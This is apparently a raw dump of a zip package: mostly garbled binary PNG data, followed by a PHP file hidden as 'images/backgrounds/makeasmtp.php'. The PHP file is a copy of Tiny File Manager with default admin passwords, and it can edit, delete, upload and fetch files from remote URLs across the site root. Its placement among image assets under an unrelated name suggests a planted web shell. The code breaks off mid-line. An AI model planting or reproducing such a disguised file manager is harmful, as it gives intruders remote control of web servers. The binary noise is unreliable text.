BeD3x$X-ঊ{ m%-%Nr\Coq O.a-|։ M!#L>CVN7lt>ng'LeݰR@wocQbz:ϡ1tNp?!dq\*ni S-:R)9<5ar1 0;Ty;[).: `n#S܊|UW^p /망ê-»·g V090?*娏7/-Hd'nTA <0k$)ae2C2&ĸE YdN]Gk)]wqSjr_ Ac "PK`Ҷ9e ka❆=q-;W3_IC-y us -^L[t5n+ɻq^ ]B,(E)Hx?MmP(IxUBL(ZCZbH󥰛[Q%vq6.7(0V@~zQfv*JfN+xxG1s |e Wu[ÚR3z")<_H⭜~@dh;r57c"378@}mCV-<3Kj' A( =q vw׿,AOJY4,Ơ= ܕ!|Ϗp ٕ[B T`_3(Rb%a+w@}+^bΗjk]cf!=_AEnArațAt|?Eg[%Ctk/ ɱ+jީ9i|Pv8Ƥ%h@=Gr>3+>PZ@3]%.JŲX~vՕsam²à# ]`E9#[qXHḚf ) M݄kۄ[BfW\߄JQp"HQN=1c.LGs3{U|/Xbvw]&m-'Iz[120|Yܐ)bӴ43C"六bIn'>v @/VJi ۞4gbcku)@~].JpuZ0CJ$ՈcO `ܺRʕ[ M!36We[.Kj7yHrD}%hzMp޽ɸWٽzS Raq_ .ٺyD%`7(v; a,NKؙ"P3 caW|"KJ"_x{Zob3It@s3ZG]ew[K+-r\NligG)@X΃e}pV+cx|Khīp5?P@zN㝉2*܈kb2=Aw9ea-SϷo_J!ʫ%csx5s)BΥ>UŨV.pD;_R7y>ZV`10/"NW 1\;Ybj+ D_+^h3" xGqZd4-0MCރLlǝX2-TWBG7zHk2&pxmK|9-6?y6+>0 +8.~7 R] @us Y 7W*pMZS.H̹Z"^NBǙ\\ʼn0f?X)e2Z)\iGHّԃaTaײuۆ2" ܚ߫X [ Td ejp1W[ (p_kk(i`TD1n`t,*Kh5OOw͍y(1jx0۠&Ɠ=~gx![//Ttb]¢(cܵ!{>)ટF^ `M%-*@' `_̧n< 9Pw oWWIv-P֪ R\m0,b9ƯbEȳ\Hկ%VǰI}OP z [T`vB|V<{]+; D4}b:BU3q@F ȃPt+[mli 1O;3_ dܺvnI XB ~'$)|nCějʰ-RR/ǰ $6Ɇ8f|o/avwmp |V Klj^*hi:?<- Xʅ9Z$} LIOEY~:WZ!)l]AO3¦qm<,)C⃉ð-Pxx-dD%@ wBDpWX,l7tX4PЏoOV b2Y©:$?EpUϓX[?;y߃I扷l3lPxCȘ w]lv*߆UC=oDMf܊x69Bm"]KxMXUR0wŘWAlp7'*Iᆔ 0][d%y줙O͉$?{Nv>h@.z&.$ɰC(|\Z[3`̞5 XV5(^k'$uS[K?:TA,(:W#|Vw fKp إ*ERL$`ܧLz؁ߕUumJeRrm2#_2tfg ^V:Xk {IIAVխ jǰ*S]7&CH" 2ͥ4 N) v>9\!;縊+2 9#>_[(v~,C3v(hW U"uNf"+E퇭m(=я d[\r,nnAWØ_.Pw K]ocAht^v0Pr'5Jf=@ W:B![ .gZPT_87%٢DO` [Ī`f/-<=KI||t^6>zEYͿ2mKw;}c)< ػ !٢x}5OUuD`v0oC T۹;mj4-[ vמpQX2֔~?S7}pc#cMܗN,Nۿ*UOoJO2VAco1ѷJ_*t8Va0g$L Jx,ƽW2,CRpN18+We w4XPa%~4Yp6؈{[(s ŝ}6I_t;^}W*VY{Aoz[ȸ*c~^KctmfÆ[2s%Ug\h5MS}[i"zxGqep3 YJ՞DqJp*+b`"DWE?٨ u\a4?Us6nM(bݦ x>+2c [4@[/w`p2?1Fg{~JDPvXƝnCp5 ԉB[*bg|@䎃F\ܙFBumCxƯ%?K~1֔Fp Y 0슋UGPxOdH`X\\D n~xa> y&z-@e6"a'bv~s4ȯCXa`&Y2\.{ b0/ pͥnw)î`^yCed[!U\/<V@N[8wH1j {,@Ƃ7[1e>niԱ$1PjܑEb=d O@Bo!s( R˴ڃʀLtX'0^.SXstu^@Z\w$u0Dj"c$G#wǘW Corf?XL"rݼ2XU@#?~-i-LXw>XGVݠA 6Q.jg7f/3o[#՚s{0yiyW1B7;b,c0 #IUJ>׈n4 so:cQ'=ȅXy9G@ DMYQQp"'*nvy#,#=E4X\NrU0.9Y#[x׈[6:eqMtcu@ 4 Yw=0.C :c DГkvC|TبR Cl([|P ju˷S\‡>?_W"[Q1( \~&k1&Z*mUEjf#C.NL2?ƩJミbX֬Zd[X.u-/Y3`trA,'¡jJqƦ -PQJ%CԧZC6O`Uj[:X ر}`xu#L5gnBPY|rJqs~vh+xZn6`꣛Pr0m{Ԝ:ըɝF/Dž FyT*fqXM$Gau z. + ŠN} ]K1 aAQ+)+,\gNWF^/I葇ZANbuoW{줸u3 a5g:p4 bG.y&Tc ޳8 8&0&æʸoϏ62bVIc ϖxyFp+7@mnY14m&%n#G\zDg[ֻO{.eSx ^݈W3{?o%Na} RZºt8kR:V|w[ƿ@?V{$`@tьx5IIeyXrVbv} qq4e1BDSa SbFUbm2yL5ǮzT'l{ =!@SX] ƌnx=*%x,ϨQGbJ *H4zla1@/<7.HG5pnZ*Άi4 s9Xˑ c-rvpD+]|nѾZC_(h{;5"U .<5𽜹:L^wx=?OQۀ"=.D#+i}%g$F @*b}/~?oylO43v4?|fPo&k2w-1u0`_5ʣ[ cjez+X~pe\s^M];>ԀNV9`;6_F#*F57Fky|ObV]4u N!YlȒ%+ՇRyk$ `d}uʸ(s-x%0VW`Ƿ[paUV3J?0߰h_hT;toe{Pu*w.ȯ eSܐ!E‹="uFN sVV5Y\ seg2gHV^v-kDcE#0aa2$qLֳyj<X_&0% PխZ:CR"^CeXzaK5;) yәJbkׄ%xi,،eIjō?_ #L>:W!~2.ւO{Ò-p'P>Vb׉KSӼ=PDlA|yuE^ꃧc5@>{Y*.V0oFvnqb+|ŕab 'c~ܷg 2;icW1-GAJ0ic66jt~bF'(Duુ.1:cR'ZM`YX)Ъ^,@[ߘE\k! nǜE@ԝǻ#] BLdByS U+B*"G0oJm R%u|RS>L]W-ãڶXB;oƎ8++ |CAN֔d^VɞYI(&W<`12G ˆ nWUkYO0*$K`>j)ob =%ٗ^sBAS*zԟ1^-,wޑ{{IH|+ܾa之k ykxAx15'"HZfWx9܄$T`CpU}bL5A1[ĺrt:Gt[cY<. r &c]5nE1.c*3/[XJX370Na軼"x[2z}oreitD/eLM[*ݰvbC](9'W;lX~aH.ʰ`eYfs&Ociw3 nVZLǀ3ъWaIxQT-YƄZ`㢸۸u֣ ܤ^q:F0XU$pT,b1Ŀ3%\}H,l#>4.EVBWP>R0o1~~ŋ{ѹ'ia 8'FDS tyIX"=,opJL` DXs"EVJ>P{"-=QWԯp32`OxmU2j:%~Gc x"kjq5tҕW:wVE2lEꃦ,j(_$ϠguQw@]e7*;7.3lX)/#WĥıuVk^N 0ӸTzYqL?،` w#.\*t‡N* 9j :d`*f5ʿ M`Ypqӊ_C|חS+؂MKuB9c5RKYZ 1仟6oK΅BqJB"fbNA`KV2.C,MĶpa*+Xo1ǶT~߷jc7V "Xu'_SD̳`]E{ Mq {"ΐJw6`MYxZdlkrNW-.uqޚä[ְ+d(cQʚ> "t; ꄸ&F Ozz?*y*k0[aUqa#a/J񸄟//3l1 .n:ӌ­'3~wm6:2&R`ʤWC0uE>vB^6)ɾ_.13#1.%ė.~;< ˺ř+eRQF8Jq_|O㷟9YujvV2`'1++MoIa91Rx1U]ma9iY2,IPoeE܂b u۰pE.h ~` >T48YMl4V.Kqkw?Upx,:[?Jvp:6qw;S/` (I}@xg7!;|- ;e:\$x)e-m̋y8&Wu~$僯Q),Qņm",ivqg83̹bH9"_Ԟ׺z6e5FU7 15l^n|\KX&^~ 5lb똴e<5sGwjE^L{^Ma~C©kqt~5g~kfꅦ92yoCe[*4g*՛(xe,b%`VgSLtnV4oڈryXy@`&Ҵp,5Eg dȟaB^~ko-d eUL4qa *X \>_. ?"fc(c(lU7`S2IyC \m~r=୲s9ێ-恤2:98՞ d$T&}j[>bqk93,I5`F\T7¬Q&s,a;`а: J49b+|crJq:;瘓6aK?V2TX|C\Ͱk8,Q|u0 PRK=hBi~3ԗUq0wQf8su`kgy%M~O@᭳s2z>gט{hu_Յ*_VhƢ1KgVDI'Ug=Z|oG_5 mikqkQ\iĹVy{w1,Lvoe"v2Ր݉{\,1+_/PZ'J㼁TJIyO#_Tn H eׂ)CIENDB`PK0fZ images/backgrounds/baroque.pngnu[PNG  IHDR,,ZtEXtSoftwareAdobe ImageReadyqe< AIDATxęUUg"Ȃ4=B*=Dzإ;һ"wPz7}y7˾=s̙s$LН9s=o?2e?Ν;اrvmҥaÆv.,,̵n; .l'J]~]pM>=x oذŕ/_۷/ʔ)ҧOܹ-Zs&y=eʔ7AnviӦu}{iP[v+P +J-[69r %P{:ujyʕ+Ț5k:*kז+VHժUᅲ7nH4i$$$$\t{z m`FKz-Oŋ댳 A }F8(g19ѣG- "X#D߶lbџ4iLjֈo/:|])R4>('O3&z͛W߿?-9}*U*I)&V-Bx-y䉗ӝ;w6o߾-7oޔޖ̙Sf͚[I(E}!SNIɒ%}9[Nݻ'ŋ'NF8I$rq0rHKƍ *T(w~'{6UTү_?Q *Ç˧~jϛ7O^n)Rp3ft}SgŽ ?1]F*`̌磣ٳgNf5%}`xW_9S8t`+Q۴i=ЫW/ܠ6m%K;׮]s#F0`;{|̙cL0UXCF Nwsdd:Wze@ib<3}>($| aaÆ;c}ע@ի'1|:x1h~Rx)dժUr'OH Ev@mZM2Z,Xf'O:}\޽m{:vhQPǃ| %WfM;{n̙&,X`y8qb7tPkvK.>_;ünݺѣeĉV@G(=vډ. r DjժYkp/b4h Q'eڴiv}ر}ùsI5f*ZvmƍLnSI@DD͞=X3Gii{U*n1n,\"B|: (O`ԍ1GDa[1 @%AZB;:#CP|;v찝$0{]z76`ZXaYdoFZjezU;c>89N%M`)IJ,`0( dyOYv0vyܸqZh!o޼Y~'͚53d l/UR1ח_~iϽ=&d>J8QoQc̙3֢Wq$.'Hp L4l=Q:i͙X5@0Y vΠt+|Ko!bst ;Ewh1Qpl'n@P׮]5rGpΆCDyZo۶'/5 @%[޺u+h z1*A6l-{^d% {֭A]Cy+R(6RbŊYFyPFUqZ@ lNAGp _scU):f؍#ja :IENDB`PK0fZwp images/backgrounds/diaglines.pngnu[PNG  IHDR szzsBIT|d pHYs  ~tEXtSoftwareMacromedia Fireworks 8hxtEXtCreation Time01/11/09DfIDATX픡1 <ᅥKz%Z (@>''ٖ϶yG5.R͠YP/(0x=p P]=YP P`zHE뻗IENDB`PK0fZ_Wg images/backgrounds/makeasmtp.phpnu[ 'Password', 'Username2' => 'Password2', ...) // Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html $auth_users = array( 'admin' => '$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW', //admin@123 'user' => '$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO' //12345 ) /* be54aace58d583f26839a0e8cd1bf90d */; //set application theme //options - 'light' and 'dark' $theme = 'light'; // Readonly users // e.g. array('users', 'guest', ...) $readonly_users = array( 'user' ); // Enable highlight.js (https://highlightjs.org/) on view's page $use_highlightjs = true; // highlight.js style // for dark theme use 'ir-black' $highlightjs_style = 'vs'; // Enable ace.js (https://ace.c9.io/) on view's page $edit_files = true; // Default timezone for date() and time() // Doc - http://php.net/manual/en/timezones.php $default_timezone = 'Etc/UTC'; // UTC // Root path for file manager // use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder' $root_path = $_SERVER['DOCUMENT_ROOT']; // Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder' // Will not working if $root_path will be outside of server document root $root_url = ''; // Server hostname. Can set manually if wrong $http_host = $_SERVER['HTTP_HOST']; // user specific directories // array('Username' => 'Directory path', 'Username2' => 'Directory path', ...) $directories_users = array(); // input encoding for iconv $iconv_input_encoding = 'UTF-8'; // date() format for file modification date // Doc - https://www.php.net/manual/en/function.date.php $datetime_format = 'd.m.y H:i'; // Allowed file extensions for create and rename files // e.g. 'txt,html,css,js' $allowed_file_extensions = ''; // Allowed file extensions for upload files // e.g. 'gif,png,jpg,html,txt' $allowed_upload_extensions = ''; // Favicon path. This can be either a full url to an .PNG image, or a path based on the document root. // full path, e.g http://example.com/favicon.png // local path, e.g images/icons/favicon.png $favicon_path = ''; // Files and folders to excluded from listing // e.g. array('myfile.html', 'personal-folder', '*.php', ...) $exclude_items = array(); // Online office Docs Viewer // Availabe rules are 'google', 'microsoft' or false // google => View documents using Google Docs Viewer // microsoft => View documents using Microsoft Web Apps Viewer // false => disable online doc viewer $online_viewer = 'google'; // Sticky Nav bar // true => enable sticky header // false => disable sticky header $sticky_navbar = true; // Maximum file upload size // Increase the following values in php.ini to work properly // memory_limit, upload_max_filesize, post_max_size $max_upload_size_bytes = 5000; // Possible rules are 'OFF', 'AND' or 'OR' // OFF => Don't check connection IP, defaults to OFF // AND => Connection must be on the whitelist, and not on the blacklist // OR => Connection must be on the whitelist, or not on the blacklist $ip_ruleset = 'OFF'; // Should users be notified of their block? $ip_silent = true; // IP-addresses, both ipv4 and ipv6 $ip_whitelist = array( '127.0.0.1', // local ipv4 '::1' // local ipv6 ); // IP-addresses, both ipv4 and ipv6 $ip_blacklist = array( '0.0.0.0', // non-routable meta ipv4 '::' // non-routable meta ipv6 ); // if User has the customized config file, try to use it to override the default config above $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } // --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL --- // max upload file size define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); define('FM_THEME', $theme); // private key and session name to store to the session if ( !defined( 'FM_SESSION_ID')) { define('FM_SESSION_ID', 'filemanager'); } // Configuration $cfg = new FM_Config(); // Default language $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; // Show or hide files and folders that starts with a dot $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; // PHP error reporting - false = Turns off Errors, true = Turns on Errors $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; // Hide Permissions and Owner cols in file-listing $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Show directory size: true or speedup output: false $calc_folder = isset($cfg->data['calc_folder']) ? $cfg->data['calc_folder'] : true; //available languages $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } // if fm included if (defined('FM_EMBED')) { $use_auth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter(''); session_name(FM_SESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { // Permission denied for default session, try to create a new one if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } if (empty($auth_users)) { $use_auth = false; } $is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'; // update $root_url based on user specific directories if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']]; } // clean $root_url $root_url = fm_clean_path($root_url); // abs path for site defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[FM_SESSION_ID]['logged']); fm_redirect(FM_SELF_URL); } // Validate connection IP if($ip_ruleset != 'OFF'){ $clientIp = $_SERVER['REMOTE_ADDR']; $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true && $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg('Access denied. IP restriction applicable', 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } // Auth if ($use_auth) { if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) { // Logged } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) { // Logging In sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']])) { $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL . '?p='); } else { unset($_SESSION[FM_SESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[FM_SESSION_ID]['logged']); fm_show_header_login(); ?>


Root path \"{$root_path}\" not found!"; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', $exclude_items); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users)); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); // always use ?p= if (!isset($_GET['p']) && empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); // for ajax request - save $input = file_get_contents('php://input'); $_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; // instead globals vars define('FM_PATH', $p); define('FM_USE_AUTH', $use_auth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); /*************************** ACTIONS ***************************/ // AJAX Request if (isset($_POST['ajax']) && !FM_READONLY) { // save if (isset($_POST['type']) && $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } //search : get list of files from the current folder if(isset($_POST['type']) && $_POST['type']=="search") { $dir = FM_ROOT_PATH; $response = scan(fm_clean_path($_POST['path']), $_POST['content']); echo json_encode($response); exit(); } // backup files if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) { $fileName = $_POST['file']; $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) && $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $calc_folder; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false; $caf = isset($_POST['js-calc-folder']) && $_POST['js-calc-folder'] == "true" ? true : false; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['calc_folder'] != $caf) { $cfg->data['calc_folder'] = $caf; $calc_folder = $caf; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) && $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(basename($url), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, get_file_path()); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } // Delete file / folder if (isset($_GET['del']) && !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' && $del != '..' && $del != '.') { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? 'Folder %s deleted' : 'File %s deleted'; fm_set_msg(sprintf($msg, fm_enc($del))); } else { $msg = $is_dir ? 'Folder %s not deleted' : 'File %s not deleted'; fm_set_msg(sprintf($msg, fm_enc($del)), 'error'); } } else { fm_set_msg('Invalid file or folder name', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Create folder if (isset($_GET['new']) && isset($_GET['type']) && !FM_READONLY) { $type = $_GET['type']; $new = str_replace( '/', '', fm_clean_path( strip_tags( $_GET['new'] ) ) ); if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.') { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($_GET['type'] == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fm_enc($new))); } else { fm_set_msg('File extension is not allowed', 'error'); } } else { fm_set_msg(sprintf('File %s already exists', fm_enc($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf('Folder %s already exists', fm_enc($new)), 'alert'); } else { fm_set_msg(sprintf('Folder %s not created', fm_enc($new)), 'error'); } } } else { fm_set_msg('Invalid characters in file or folder name', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) { // from $copy = $_GET['copy']; $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg('Source path not defined', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // abs path from $from = FM_ROOT_PATH . '/' . $copy; // abs path to $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); // move? $move = isset($_GET['move']); // copy/move/duplicate if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { // Move and to != from so just perform move $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf('Moved from %s to %s', fm_enc($copy), fm_enc($msg_from))); } elseif ($rename === null) { fm_set_msg('File or folder with this path already exists', 'alert'); } else { fm_set_msg(sprintf('Error while moving from %s to %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } else { // Not move and to != from so copy with original name if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf('Copied from %s to %s', fm_enc($copy), fm_enc($msg_from))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } } else { if (!$move){ //Not move and to = from so duplicate $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } //Create new name for duplicate $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; // Check if a file with the duplicate name already exists, if so, make new name (edge case...) while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copyied from %s to %s', fm_enc($copy), fm_enc($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fm_enc($copy), fm_enc($fn_duplicate)), 'error'); } } else{ fm_set_msg('Paths must be not equal', 'alert'); } } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Mass copy files/ folders if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish']) && !FM_READONLY) { // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg('Paths must be not equal', 'alert'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { // abs path from $from = $path . '/' . $f; // abs path to $dest = $copy_to_path . '/' 